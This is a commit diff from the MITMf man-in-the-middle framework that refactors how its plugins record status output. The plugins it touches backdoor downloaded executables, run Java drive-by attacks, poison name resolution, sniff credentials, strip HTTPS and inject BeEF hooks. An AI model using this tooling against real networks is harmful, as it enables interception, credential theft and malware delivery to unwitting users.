changed tree output loading method

This commit is contained in:
byt3bl33d3r 2015-04-11 15:54:51 +02:00
parent d4c6b7d5b6
commit c8732d60eb
12 changed files with 67 additions and 68 deletions

View file

@ -64,7 +64,7 @@
[[[TXT]]] # Queries for text records [[[TXT]]] # Queries for text records
*.thesprawl.org=fake message *.thesprawl.org=fake message
[[[PTR]]] # PTR queries [[[PTR]]] # PTR queries
*.2.0.192.in-addr.arpa=fake.com *.2.0.192.in-addr.arpa=fake.com
[[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5 [[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5

@ -1 +1 @@
Subproject commit 88a9c08a9be5ee921d3d8eeeb16d421c9b5df0af Subproject commit fbc5ec324b6045db2f6cc62662ab51d3ff979ec8

View file

@ -163,17 +163,21 @@ load = []
for p in plugins: for p in plugins:
try: try:
if vars(args)[p.optname] is True:
print "|_ %s v%s" % (p.name, p.version)
if hasattr(p, 'tree_output') and p.tree_output:
for line in p.tree_output:
print "| |_ %s" % line
p.tree_output.remove(line)
if getattr(args, p.optname): if getattr(args, p.optname):
p.initialize(args) p.initialize(args)
load.append(p) load.append(p)
if vars(args)[p.optname] is True: if vars(args)[p.optname] is True:
print "|_ %s v%s" % (p.name, p.version) if hasattr(p, 'tree_output') and p.tree_output:
for line in p.tree_output:
if p.output:
for line in p.output:
print "| |_ %s" % line print "| |_ %s" % line
p.output.remove(line)
except Exception, e: except Exception, e:
print "[-] Error loading plugin %s: %s" % (p.name, str(e)) print "[-] Error loading plugin %s: %s" % (p.name, str(e))

View file

@ -34,13 +34,14 @@ requests_log.setLevel(logging.WARNING)
mitmf_logger = logging.getLogger('mitmf') mitmf_logger = logging.getLogger('mitmf')
class BeefAutorun(Inject, Plugin): class BeefAutorun(Inject, Plugin):
name = "BeEFAutorun" name = "BeEFAutorun"
optname = "beefauto" optname = "beefauto"
desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type"
depends = ["Inject"] tree_output = []
version = "0.3" depends = ["Inject"]
req_root = False version = "0.3"
has_opts = False req_root = False
has_opts = False
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
@ -68,7 +69,7 @@ class BeefAutorun(Inject, Plugin):
if not beef.login(beefconfig['user'], beefconfig['pass']): if not beef.login(beefconfig['user'], beefconfig['pass']):
sys.exit("[-] Error logging in to BeEF!") sys.exit("[-] Error logging in to BeEF!")
self.output.append("Mode: %s" % self.Mode) self.tree_output.append("Mode: %s" % self.Mode)
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,)) t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True) t.setDaemon(True)

View file

@ -74,13 +74,14 @@ from configobj import ConfigObj
mitmf_logger = logging.getLogger('mitmf') mitmf_logger = logging.getLogger('mitmf')
class FilePwn(Plugin): class FilePwn(Plugin):
name = "FilePwn" name = "FilePwn"
optname = "filepwn" optname = "filepwn"
desc = "Backdoor executables being sent over http using bdfactory" desc = "Backdoor executables being sent over http using bdfactory"
implements = ["handleResponse"] implements = ["handleResponse"]
version = "0.2" tree_output = ["BDFProxy v0.2 online"]
has_opts = False version = "0.2"
req_root = False has_opts = False
req_root = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''

View file

@ -38,12 +38,13 @@ requests_log.setLevel(logging.WARNING)
mitmf_logger = logging.getLogger('mitmf') mitmf_logger = logging.getLogger('mitmf')
class JavaPwn(BrowserProfiler, Plugin): class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn" name = "JavaPwn"
optname = "javapwn" optname = "javapwn"
desc = "Performs drive-by attacks on clients with out-of-date java browser plugins" desc = "Performs drive-by attacks on clients with out-of-date java browser plugins"
depends = ["Browserprofiler"] tree_output = []
version = "0.3" depends = ["Browserprofiler"]
has_opts = False version = "0.3"
has_opts = False
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
@ -73,7 +74,7 @@ class JavaPwn(BrowserProfiler, Plugin):
msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', self.rpcpass) msf.login('msf', self.rpcpass)
version = msf.call('core.version')['version'] version = msf.call('core.version')['version']
self.output.append("Connected to Metasploit v%s" % version) self.tree_output.append("Connected to Metasploit v%s" % version)
except Exception: except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")

View file

@ -28,29 +28,26 @@ from core.sslstrip.DnsCache import DnsCache
from twisted.internet import reactor from twisted.internet import reactor
class Responder(Plugin): class Responder(Plugin):
name = "Responder" name = "Responder"
optname = "responder" optname = "responder"
desc = "Poison LLMNR, NBT-NS and MDNS requests" desc = "Poison LLMNR, NBT-NS and MDNS requests"
version = "0.2" tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
has_opts = True version = "0.2"
req_root = True has_opts = True
req_root = True
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.interface = options.interface self.interface = options.interface
RESP_VERSION = "2.1.2"
try: try:
config = options.configfile['Responder'] config = options.configfile['Responder']
except Exception, e: except Exception, e:
sys.exit('[-] Error parsing config for Responder: ' + str(e)) sys.exit('[-] Error parsing config for Responder: ' + str(e))
self.output.append("NBT-NS, LLMNR & MDNS Responder v%s by Laurent Gaffie online" % RESP_VERSION)
if options.Analyse: if options.Analyse:
self.output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") self.tree_output.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned")
start_responder(options, config) start_responder(options, config)

View file

@ -25,12 +25,14 @@ import logging
from plugins.plugin import Plugin from plugins.plugin import Plugin
from core.utils import SystemConfig from core.utils import SystemConfig
from core.sslstrip.URLMonitor import URLMonitor from core.sslstrip.URLMonitor import URLMonitor
from libs.dnschef.dnschef import start_dnschef
class HSTSbypass(Plugin): class HSTSbypass(Plugin):
name = 'SSLstrip+' name = 'SSLstrip+'
optname = 'hsts' optname = 'hsts'
desc = 'Enables SSLstrip+ for partial HSTS bypass' desc = 'Enables SSLstrip+ for partial HSTS bypass'
version = "0.4" version = "0.4"
tree_output = ["SSLstrip+ by Leonardo Nve running", "DNSChef v0.3 online"]
has_opts = False has_opts = False
req_root = True req_root = True
@ -39,17 +41,11 @@ class HSTSbypass(Plugin):
self.manualiptables = options.manualiptables self.manualiptables = options.manualiptables
try: try:
config = options.configfile['SSLstrip+'] hstsconfig = options.configfile['SSLstrip+']
dnsconfig = options.configfile['Spoof']['DNS']
except Exception, e: except Exception, e:
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
self.output.append("SSLstrip+ by Leonardo Nve running") URLMonitor.getInstance().setHstsBypass(hstsconfig)
URLMonitor.getInstance().setHstsBypass(config) start_dnschef(options, dnsconfig, hstsconfig)
#def finish(self):
# if _DNS.checkInstance() is True:
# _DNS.getInstance().stop()
# if not self.manualiptables:
# SystemConfig.iptables.Flush()

View file

@ -38,13 +38,14 @@ import os
mitmf_logger = logging.getLogger('mitmf') mitmf_logger = logging.getLogger('mitmf')
class Sniffer(Plugin): class Sniffer(Plugin):
name = "Sniffer" name = "Sniffer"
optname = "sniffer" optname = "sniffer"
desc = "Sniffs for various protocol login and auth attempts" desc = "Sniffs for various protocol login and auth attempts"
implements = ["sendRequest"] tree_output = ["Net-Creds online"]
version = "0.1" implements = ["sendRequest"]
has_opts = False version = "0.1"
req_root = True has_opts = False
req_root = True
def initialize(self, options): def initialize(self, options):
self.options = options self.options = options
@ -66,9 +67,7 @@ class Sniffer(Plugin):
sys.exit("[-] Sniffer plugin requires root privileges") sys.exit("[-] Sniffer plugin requires root privileges")
n = NetCreds() n = NetCreds()
#if not self.parse: #if not self.parse:
self.output.append("Net-Creds online")
t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,))
t.setDaemon(True) t.setDaemon(True)
t.start() t.start()

View file

@ -31,12 +31,13 @@ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Er
from scapy.all import * from scapy.all import *
class Spoof(Plugin): class Spoof(Plugin):
name = "Spoof" name = "Spoof"
optname = "spoof" optname = "spoof"
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS" desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
version = "0.6" version = "0.6"
has_opts = True tree_output = []
req_root = True has_opts = True
req_root = True
def initialize(self, options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
@ -92,8 +93,8 @@ class Spoof(Plugin):
if not options.manualiptables: if not options.manualiptables:
SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port']) SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port'])
self.tree_output.append("DNSChef v0.3 online")
start_dnschef(options, self.dnscfg) start_dnschef(options, self.dnscfg)
self.output.append("DNSChef v0.3 online")
if not options.arp and not options.icmp and not options.dhcp and not options.dns: if not options.arp and not options.icmp and not options.dhcp and not options.dns:
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns") sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")

View file

@ -9,7 +9,6 @@ class Plugin(object):
optname = "generic" optname = "generic"
desc = "" desc = ""
implements = [] implements = []
output = []
has_opts = False has_opts = False
req_root = False req_root = False

View file

@ -9,4 +9,4 @@ pyyaml
ua-parser ua-parser
Pillow Pillow
pefile pefile
capstone dnslib